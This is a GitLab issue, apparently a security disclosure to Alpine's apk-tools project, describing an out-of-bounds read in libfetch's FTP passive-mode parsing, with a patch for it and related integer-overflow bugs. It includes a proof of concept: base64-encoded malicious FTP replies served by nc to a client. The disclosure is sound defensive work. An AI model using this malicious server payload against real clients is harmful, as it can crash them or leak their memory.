Skip to content
GitLab
Projects Groups Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • apk-tools apk-tools
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 95
    • Issues 95
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 20
    • Merge requests 20
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Container Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • alpinealpine
  • apk-toolsapk-tools
  • Issues
  • #10749
Closed
Open
Issue created Jul 04, 2021 by Samanta Navarro@ferivoz

libfetch information leak or crash

Dear Alpine Linux team,

I have discovered a potentially security-relevant issue in libfetch. It is used in apk and I have reported the issue to FreeBSD upstream. Maybe you want to be informed about this before it is fixed there.

This is the mail I have just sent to the FreeBSD security team.

Problem:

The passive mode in FTP communication allows an out of boundary read while libfetch uses strtol to parse the relevant numbers into address bytes. It does not check if the line ends prematurely. If it does, the for-loop condition checks for *p == '\0' one byte too late because p++ was already performed.

Impact:

The connection buffer size can be controlled by a malicious FTP server because the size is increased until a newline is encountered (or no more characters are read). This also allows to move the buffer into more interesting areas within the address space, potentially parsing relevant numbers for the attacker.

Since these bytes become available to the server in form of a new TCP connection to a constructed port number or even part of the IPv6 address this is a potential information leak.

Proof of Concept:

Set up the malicious FTP server like this

cat > replies.txt.b64 << EOF
begin-base64 644 replies.txt
MjIwIG9rCjIzMCBvawoyNTcgIi8iCjIwMCBvawoyMDAgb2sKMjEzIDE4NDQ2NzQ0MDczNzA5NTUx
NjE2CjIxMyAwMDAwMDAwMDAwMDAwMAoyMDAgb2sKMjAwIG9rCjIyOCAxCjIyOCAxMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMTExMTEx
====
EOF
b64decode -o replies.txt replies.txt.b64
nc -Nl ::1 21 < replies.txt

Compile libfetch and fetch with CFLAGS="-fsanitize=address -fsanitize=undefined" and start client

fetch 'ftp://[::1]/poc'

Considerations:

Since libfetch is used outside of FreeBSD as well, e.g. in Alpine Linux package keeper apk, I recommend to issue a CVE for this so these users are informed about the patch as well.

The information leak is fixed in the second ftp.c patch chunk.

Sincerely, Samanta

Index: fetch.c
===================================================================
--- fetch.c	(revision 370066)
+++ fetch.c	(working copy)
@@ -421,7 +421,7 @@
 	/* port */
 	if (*p == ':') {
 		for (n = 0, q = ++p; *q && (*q != '/'); q++) {
-			if (*q >= '0' && *q <= '9' && n < INT_MAX / 10) {
+			if (*q >= '0' && *q <= '9' && n < IPPORT_MAX) {
 				n = n * 10 + (*q - '0');
 			} else {
 				/* invalid port */
Index: ftp.c
===================================================================
--- ftp.c	(revision 370066)
+++ ftp.c	(working copy)
@@ -424,8 +424,14 @@
 	}
 	for (ln = conn->buf + 4; *ln && isspace((unsigned char)*ln); ln++)
 		/* nothing */ ;
-	for (us->size = 0; *ln && isdigit((unsigned char)*ln); ln++)
+	for (us->size = 0; *ln && isdigit((unsigned char)*ln); ln++) {
+		if (us->size > OFF_MAX / 10 - (*ln - '0')) {
+			ftp_seterr(FTP_PROTOCOL_ERROR);
+			us->size = -1;
+			return (-1);
+		}
 		us->size = us->size * 10 + *ln - '0';
+	}
 	if (*ln && !isspace((unsigned char)*ln)) {
 		ftp_seterr(FTP_PROTOCOL_ERROR);
 		us->size = -1;
@@ -704,8 +710,11 @@
 				goto ouch;
 			}
 			l = (e == FTP_PASSIVE_MODE ? 6 : 21);
-			for (i = 0; *p && i < l; i++, p++)
+			for (i = 0; *p && i < l; i++, p++) {
 				addr[i] = strtol(p, &p, 10);
+				if (*p == '\0' && i < l - 1)
+					break;
+			}
 			if (i < l) {
 				e = FTP_PROTOCOL_ERROR;
 				goto ouch;
Index: http.c
===================================================================
--- http.c	(revision 370066)
+++ http.c	(working copy)
@@ -163,11 +163,15 @@
 		if (!isxdigit((unsigned char)*p))
 			return (-1);
 		if (isdigit((unsigned char)*p)) {
+			if (io->chunksize > OFF_MAX / 16 - (*p - '0'))
+				return (-1);
 			io->chunksize = io->chunksize * 16 +
 			    *p - '0';
 		} else {
-			io->chunksize = io->chunksize * 16 +
-			    10 + tolower((unsigned char)*p) - 'a';
+			int digit = 10 + tolower((unsigned char)*p) - 'a';
+			if (io->chunksize > OFF_MAX / 16 - digit)
+				return (-1);
+			io->chunksize = io->chunksize * 16 + digit;
 		}
 	}
 
@@ -908,8 +912,11 @@
 {
 	off_t len;
 
-	for (len = 0; *p && isdigit((unsigned char)*p); ++p)
+	for (len = 0; *p && isdigit((unsigned char)*p); ++p) {
+		if (len > OFF_MAX / 10 - (*p - '0'))
+			return (-1);
 		len = len * 10 + (*p - '0');
+	}
 	if (*p)
 		return (-1);
 	DEBUGF("content length: [%lld]\n", (long long)len);
@@ -932,17 +939,26 @@
 		first = last = -1;
 		++p;
 	} else {
-		for (first = 0; *p && isdigit((unsigned char)*p); ++p)
+		for (first = 0; *p && isdigit((unsigned char)*p); ++p) {
+			if (first > OFF_MAX / 10 - (*p - '0'))
+				return (-1);
 			first = first * 10 + *p - '0';
+		}
 		if (*p != '-')
 			return (-1);
-		for (last = 0, ++p; *p && isdigit((unsigned char)*p); ++p)
+		for (last = 0, ++p; *p && isdigit((unsigned char)*p); ++p) {
+			if (last > OFF_MAX / 10 - (*p - '0'))
+				return (-1);
 			last = last * 10 + *p - '0';
+		}
 	}
 	if (first > last || *p != '/')
 		return (-1);
-	for (len = 0, ++p; *p && isdigit((unsigned char)*p); ++p)
+	for (len = 0, ++p; *p && isdigit((unsigned char)*p); ++p) {
+		if (len > OFF_MAX / 10 - (*p - '0'))
+			return (-1);
 		len = len * 10 + *p - '0';
+	}
 	if (*p || len < last - first + 1)
 		return (-1);
 	if (first == -1) {
Assignee
Assign to
Time tracking